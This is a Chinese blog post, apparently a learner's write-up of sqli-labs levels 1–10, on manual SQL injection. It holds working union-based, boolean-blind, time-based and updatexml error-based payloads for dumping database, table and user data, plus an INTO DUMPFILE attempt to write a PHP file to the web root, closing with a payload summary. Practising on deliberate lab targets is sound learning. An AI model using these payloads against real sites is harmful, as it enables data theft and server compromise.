sqlilab学习打卡|手工注入|Less-1 to Less-10

前言:以下笔记是我练习写的,没有像大佬们那样能写好多种利用方法出来

我的做法也有些地方不太简便,打算先按照自己的思路做一遍,再来补充学习大佬们的方法

less-1 报错注入|字符型

前面几关比较简单,可以选择各种方式进行注入

id=1’可以看到报错内容,根据内容用id=1’-- +闭合语句

image-20220326201527316

order by 加上burp intruder判断字段数为3

image-20220326201743970

可以用union select 进行注入

1’ union select 1,2,3 limit 1,1-- +

image-20220326202755905

1’ union select 1,user(),database() limit 1,1-- +

image-20220326203037301

id=1’ union select 1,user(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) limit 1,1-- +

image-20220326203740041

id=1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +

image-20220326204150538

可以通过查看源码,获取所有字段名

id=1’ union select 1,2,(select group_concat(username) from users) limit 1,1-- +

image-20220326204400994

less-2 报错注入|数字型

id=1 and 1 和 id=1 and 0 区别判断

image-20220326204812025

用order by测出字段名

image-20220326204957257

image-20220326204916886

id=1 union select 1,2,3 limit 1,1 – =image-20220326205639540

到这步其实和less 1没什么太大的区别了

less-3 字符型注入 变形

输入id=1’可以看到错误显示单引号加括号

image-20220327083346657

因此这关闭合单引号和括号即可,其余操作和less-1没啥区别,就不赘述了

?id=1’) union select 1,2,3 limit 1,1-- =

image-20220327084318046

id=1’) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +

image-20220327084759977

less-4 双引号

将上一题的单引号改成了双引号

image-20220327083943907

image-20220327085246860

less-5

报错但是不显示查询结果了

image-20220327090025537

报错有利于闭合构造payload,虽然没有明确内容回显,但是查询正确的情况下,是有提示的,因此可以采用布尔盲注或者时间盲注,又因为有报错信息,所以也可以进行报错注入

布尔盲注

?id=1’ and if(ASCII((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,TRUE,FALSE) – =

SQL语句中的if(a,b,c),当a符合条件的时候,走b,不符合条件走c,类似与编程语言中的? :

ascii函数获取数据的ascii码,与数值比较,相等为True,不相等为FALSE

为了获得数据,需要使用substr函数一个一个字母遍历

下图测试了下payload的正确性,当ascii码小于0时,为false,不能进入,大于0为true,就能进入

image-20220328100123157

接下来用burp爆破数据库名做个例子

id=1’ and if(ASCII(SUBSTR((select database()),1,1))>0,1,FALSE)-- =

substr(str,start,len)函数,从1开始数,start表示开始截取位置,len表示截取长度

如图慢慢爆破出每个字符的bascii码即可,注意如果访问请求过快会爆错,可以在配置中修改

image-20220328141104923

报错注入

可以进行报错注入的函数有很多,这里用的updatexml测试

updatexml(XML_document,XPath_string,new_value)

报错显示的地方位于XPath_string,这里本来是填入Xpath路径,当填入其他内容时会报错

可以看下面两张图的对比

image-20220328142901186
image-20220328142936843

因此可以利用这一点,在显示报错信息的情况下进行注入

image-20220328142554108

这里虽然可以进行时间盲注,但是太浪费时间,就不测试了

less-6

双引号闭合,有错误回显,同上题类似

这里给到我的启发:测试注入点不能光想着测试单引号,其他符号都要测试一下

less-7 Dump into Outfile

这里碰到一个问题,如何判断闭合方式,这道题没有明确的报错信息,不过还是有一点回显反馈的

看下两个图的区别

image-20220328160703174

image-20220328160723198

输入单引号和输入双引号的区别可以判断,这里闭合用了单引号

可以用navicat测试下

image-20220328161203755

加单引号选择admin数据,报错

image-20220328161337341

加双引号选择admin数据,通过

image-20220328161409378

因此,可以判断闭合方式有单引号。但是注释掉后面的信息后,依然报错,说明还有别的闭合符号

image-20220328161717374

看下常见的闭合符号,' " ) ') ") ')) }

这里测试出‘))闭合

image-20220328162728740

已经判断了闭合方式了,又没有过滤,那么这关可以使用前面提过的布尔盲注或者时间盲注

布尔盲注示例

image-20220328164256575

时间盲注示例

image-20220328164445941

dump into file

首先需要了解下secure_file_priv,

  • 当参数 secure_file_priv 为空时,对导入导出无限制
  • 当值为一个指定的目录时,只能向指定的目录导入导出
  • 当值被设置为NULL时,禁止导入导出功能

参考链接

select 内容 into outfile 路径 这个是将内容多行写入,内容会对特殊符号转义

select 内容 into dumpfile 路径 这个是将内容作为一行写入文件,并且是原封不动的写入 所以写webshell一般用dumpfile

还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本就GG了,但是load_file,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\

这里查了下secure_file_priv的值,为null,因为这里我使用的buu的环境,就没有办法修改配置文件,不过也可以试一下

image-20220328165750009

首先要写入文件,需要确定写入的路径。之前输入错误url可以看到,该环境是用nginx搭建的,linux一般默认是/var/www/html/,windows的则有些不太一样。

可以通过改变url大小写判断是linux还是Windows

随便找了个asp网站,可以看到进入界面如图

image-20220328191730776

改个大写字母,界面还是能够加载出来

image-20220328191906010而在buu搭的这个环境,我将Less改成LEss报错,说明这是linux系统

image-20220328192005628

继续写入文件,如果要写入脚本还需要知道环境是什么语言写的,不过sqlilab是php写的,就不用探究了。

id=1’)) union select 1,2,"<?php phpinfo();?>" into dumpfile “/var/www/html/test.php” – =

不过确实是没办法写入成功了,构造下payload就算了吧

less-8 Blind-Boolean

按上题方法,测出为单引号注入,依然是盲注,方法同上

image-20220328193327303

less-9 Blind-Time based

前面几关习惯了有回显,一下子到啥也没有的刚开始还有点懵

测试一串数据后发现他什么信息都不显示了,因此只能用时间盲注

这里需要理下逻辑,什么情况下是闭合执行成功,什么情况下是不成功

我在navicat用自己的表假设了下,可以看到只有在第一种真正拼接成功的情况下才能执行sleep

image-20220328195819986

按照这个思路,很快就能确定下来,该题单引号闭合

image-20220328200314298

这样依然按照之前盲注的思路,依次爆出数据即可

id=1’ and if(ASCII(SUBSTR((select database()),1,1))=113,1,sleep(7))-- =

less-10 Blind-Time based

按照上一关测试的思路,很快测试出为双引号闭合

image-20220328201125175

简单总结下使用到的payload

联合查询

id=1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +

?id=1’) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) limit 1,1-- +

select group_concat(table_name) from information_schema.tables where table_schema=database()

布尔盲注

and if(ASCII(SUBSTR((select database()),1,1))>0,1,FALSE)

报错注入

updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

时间盲注

id=1’)) and if(ASCII(SUBSTR((select database()),1,1))=113,1,sleep(5))-- =

id=1’ and if(1,sleep(7),1) – =

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值